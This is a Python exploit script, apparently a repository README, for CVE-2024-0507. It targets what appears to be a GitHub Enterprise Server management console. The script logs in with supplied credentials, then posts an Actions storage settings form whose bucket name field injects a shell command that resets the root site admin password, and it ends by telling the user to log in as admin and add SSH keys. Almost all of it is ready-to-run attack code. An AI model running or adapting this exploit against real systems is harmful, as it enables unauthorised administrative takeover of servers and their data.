README.md
Rendering markdown...
import sys
import time
import requests
import argparse
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_csrf_token(session, login_url):
"""Fetch CSRF token from the login page."""
response = session.get(login_url, verify=False)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': '_csrf'})['value']
return csrf_token
def login(session, login_url, username, password, csrf_token):
"""Send a POST request to login using the provided credentials and CSRF token."""
data = {
'_csrf': csrf_token,
'username': username,
'password': password
}
response = session.post(login_url, data=data, verify=False)
return 'sign-out-link' in response.text
def test_settings(session, settings_url, settings_data):
"""Send a POST request to test some settings."""
response = session.post(settings_url, data=settings_data, verify=False)
#print(response.text)
return response
def get_test_status(session, settings_actions_status_url):
"""Fetch Test Status."""
response = session.get(settings_actions_status_url, verify=False)
#print(response.text)
return response.json()['status']
def main():
# Parse command line arguments
parser = argparse.ArgumentParser(description='CVE-2024-0507 exploit')
parser.add_argument('target', type=str, help='Target base URL')
parser.add_argument('username', type=str, help='Username for login')
parser.add_argument('password', type=str, help='Password for login')
args = parser.parse_args()
target = args.target.rstrip('/')
# URLs setup
login_url = f'{target}/setup/unlock'
settings_url = f'{target}/setup/unlock'
settings_actions_url = f'{target}/setup/settings/test/storage/actions'
settings_actions_status_url = f'{target}/setup/settings/test/storage/actions/status'
# Create a session object
with requests.Session() as session:
# Step 1: Get CSRF token
csrf_token = get_csrf_token(session, login_url)
print("CSRF Token:", csrf_token)
# Step 2: Login
login_response = login(session, login_url, args.username, args.password, csrf_token)
# Assuming successful login, proceed to test settings
if login_response:
# Step 3: Get settings CSRF token
csrf_token = get_csrf_token(session, settings_url)
print("CSRF Token:", csrf_token)
# Prepare settings data
settings_data = {
'_csrf': csrf_token,
'actions_storage[blob_provider]': 's3',
'actions_storage[auth_type]': 'oidc',
'actions_storage[s3_oidc][bucket_name]': '\'; echo \'new-root-site-admin-password\' | ghe-set-password; x=\'',
'actions_storage[s3_oidc][role_arn]': 'xxx',
'actions_storage[s3_oidc][region]': 'yyy',
'actions_storage[enterprise_identifier]': 'zzz',
}
# Step 4: Trigger command injection
settings_response = test_settings(session, settings_actions_url, settings_data)
print("Settings Test Response Status Code:", settings_response.status_code)
print("Wait some seconds for the command to be run...")
while get_test_status(session, settings_actions_status_url) == 'InProgress':
sys.stdout.write(".")
sys.stdout.flush()
time.sleep(1)
print("\nCommand executed! Now you can login as site admin using password 'new-root-site-admin-password' and add your SSH keys")
else:
print("Login failed.")
if __name__ == '__main__':
main()